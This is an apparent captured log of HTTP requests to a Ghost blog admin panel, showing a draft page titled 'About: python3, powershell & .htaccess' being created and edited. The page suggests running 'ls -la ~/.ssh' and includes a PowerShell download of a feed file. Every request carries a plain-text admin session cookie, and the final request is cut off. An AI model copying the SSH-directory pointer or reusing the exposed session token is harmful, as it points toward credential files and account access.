{"method": "GET", "target": "/ghost/assets/design-and-theme-modal-D0LQ4lu4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/modal-page-BJksnimm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-breadcrumbs-DmaKJn41.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-design-form-Dzxmr_cn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/iframe-buffering-CJ8F4CUT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Source-V-WXZXnS.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Source-Magazine-Czq1p0a_.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Source-Newsletter-CwTcfhJ-.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Casper-ASA9Ix4v.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Edition-cIDLjlhj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Solo-c-yPo0gw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Taste-U2cRR2yO.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Episode-D7bgV2bY.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Digest-DJl0U_FG.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Bulletin-BUpcurG5.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Alto-DoS3yH_j.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Dope-D_CgP0p0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Wave-DE2aI-FM.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Edge-BPZxvKka.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Dawn-aeEVEPie.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Ease-B4NuA7sj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Headline-BFXOunIb.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Ruby-DVEXVMTx.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/London-CSCVHwS0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/Journal-D3UW9T2b.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/footer-marketplace-bg-cXGt4GLt.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/slugs/post/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/pages/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 486", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":null,\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"authors\":[{\"id\":\"6af4570fd281b00001a59891\"}]}]}"}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3526", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\Line truncated
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem 